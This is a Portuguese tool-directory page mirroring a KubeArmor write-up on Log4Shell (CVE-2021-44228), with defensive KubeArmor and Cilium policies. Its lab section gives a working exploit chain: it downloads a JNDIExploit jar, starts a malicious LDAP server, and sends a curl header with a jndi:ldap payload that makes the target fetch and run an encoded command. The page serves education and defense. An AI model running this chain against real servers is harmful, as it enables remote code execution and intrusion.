Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j-CVE-2021-44228 — Vulnerabilidade de Dia Zero do Apache Log4j, também conhecida como Log4Shell e CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/kubearmor/log4j-cve-2021-44228
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoSegurança de RedeSegurança na NuvemAprendizado e EducaçãoLabs e Prática
GitHubkubearmor/log4j-cve-2021-44228

log4j-CVE-2021-44228

Vulnerabilidade de Dia Zero do Apache Log4j, também conhecida como Log4Shell e CVE-2021-44228

Ver Repositório
9619há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Apache Log4j Dia Zero aka Log4Shell aka CVE-2021-44228

  • Introdução
  • Reproduzindo o problema no ambiente k8s
    • Configurando o ambiente k8s com a vulnerabilidade
  • Soluções Possíveis
    • Política de Segurança do KubeArmor
      • Não permitir execuções do JVM/Java
      • Regras baseadas em Negação Padrão
      • Visibilidade/Observabilidade do KubeArmor nos pods
    • Política de Rede do Cilium
      • Restringindo acesso a portas RMI
  • Prevenindo futuros Zero-Days
    • Como uma postura de Confiança Zero poderia prevenir o mau uso da vulnerabilidade log4j?
    • KubeArmor e Confiança Zero
  • Créditos

Introdução

Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova vulnerabilidade identificada como CVE-2021-44228, que afeta o pacote de logging Java Apache log4j. Esta vulnerabilidade recebeu uma pontuação de gravidade de 10.0 (a designação mais crítica) e oferece execução remota de código trivial em hosts que interagem com software que utiliza esta versão do log4j. "Log4Shell" é o nome dado a esse ataque.

Hoje, a versão 2.15.0rc2 do log4j está disponível e corrige esta vulnerabilidade. No entanto, o perigo absoluto desta vulnerabilidade deve-se à ubiquidade do pacote de logging. Milhões de aplicações, bem como fornecedores de software, usam este pacote como dependência em seu próprio código.

Detecção mais antiga conhecida: 2021-12-01 04:36:50 UTC alt txt

Versões Afetadas:

  • Log4j <= 2.14.1
  • Apache: 2.0 <= Apache log4j <= 2.14.1

Quem é afetado?

  • Impacto: Execução de código arbitrário como o usuário sob o qual o processo pai está sendo executado (código obtido da Internet pública, ou lolbins já presentes no sistema, ou apenas buscando segredos compartilhados ou variáveis de ambiente e retornando-os ao atacante).

  • Alvos: Servidores e clientes que executam Java e também registram qualquer coisa usando o framework log4j - principalmente uma preocupação do lado do servidor, mas qualquer endpoint vulnerável pode ser um alvo ou um ponto de pivô.

  • Projetos downstream: Até que se prove o contrário, assuma que qualquer coisa que inclua log4j - incluindo Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. - é afetada de uma forma que requer mitigação.

  • Versões afetadas: log4j 2.x confirmado - log4j 1.x apenas indiretamente (vulns anteriores de divulgação de informações) (em algumas configurações)

  • Equipamentos: Não se esqueça de equipamentos que podem estar usando componentes de servidor Java, mas não serão detectados por varredura de vulnerabilidade não autenticada

  • Encaminhamento de logs: A infraestrutura de logging frequentemente tem muitas topologias de encaminhamento/retransmissão "norte" (enviar meus logs para alguém) e "sul" (receber logs de alguém). A encadeamento delas para exploração também deve ser considerado.

  • Nuvem: Vários grandes provedores também foram afetados (uma lista com curadoria da comunidade de software e serviços vulneráveis ao CVE-2021-44228 pode ser encontrada neste repositório GitHub.

Reproduzindo o problema no ambiente k8s

árvore de ataque log4j

Configurando o ambiente k8s com a vulnerabilidade

Passo #1: Implantando pod com serviços associados vulneráveis ao Log4j no Kubernetes

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
  • Para verificar se a implantação está em execução e obter o IP externo, digite o seguinte comando:
kubectl get po,svc
  • Você deve conseguir ver uma saída como esta
NAME                              READY   STATUS    RESTARTS   AGE
pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m

NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m

Observe que implantamos a aplicação de exemplo Log4Shell vulnerável no namespace default

Passo #2: Baixando o servidor LDAP malicioso

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

Passo #3: Iniciando o servidor LDAP para tráfego de entrada em seu PC ou VM na nuvem

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<seu-ip-privado>] -p 8888

O IP privado pode ser consultado usando hostname -I.
Certifique-se de que seu firewall permita tráfego nas portas 1389 e 8888

Passo #4: Explorando usando o comando cURL

# curl <protocolo://ip-da-vítima:porta> -H 'X-Api-Version: ${jndi:ldap://<ip-servidor-malicioso>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Aqui, o 1º IP usado é nosso IP externo do k8s (Passo #1) onde a aplicação de exemplo vulnerável está em execução.
O 2º IP usado é o IP externo do servidor LDAP malicioso (Passo #2)

Passo #5: Confirmação verificando a criação do arquivo /tmp/pwned

kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp

Substitua log4j-demo-5d7c84d8b9-vs8ck pelo seu pod da saída do Passo #1.
Você deve conseguir ver um arquivo criado como pwned dentro do diretório /tmp.

Soluções Possíveis

Política de Segurança do KubeArmor

KubeArmor é uma Plataforma de Segurança em Tempo de Execução que pode ajudar equipes de Segurança/DevSecOps a proteger suas cargas de trabalho usando controles baseados em aplicação/sistema (como limitar a Criação de Processos, limitar o acesso ao Sistema de Arquivos, limitar as capacidades dos pods, etc.). O KubeArmor possui um modo de visibilidade que permite à equipe de aplicação/segurança habilitar a visibilidade, descobrindo assim o que está acontecendo dentro dos pods, ou seja, quais processos são criados, quais acessos a arquivos são tentados, etc. A maior vantagem do KubeArmor é que, como usuário, você também pode enviar políticas que podem prevenir/bloquear/negar tais operações do sistema.

Normalmente, um atacante se infiltra com a intenção de exfiltrar dados internos, ou para criptomineração, ou simplesmente para causar estragos nos aplicativos internos com a intenção de torná-los indisponíveis. Em todos esses casos, o atacante precisa executar um programa arbitrário que possa cumprir sua intenção maliciosa. A vulnerabilidade Log4j permite que o atacante coloque um binário dentro da rede interna. No entanto, podem ser colocadas barreiras para não permitir que o JVM crie processos.

Baixar ferramenta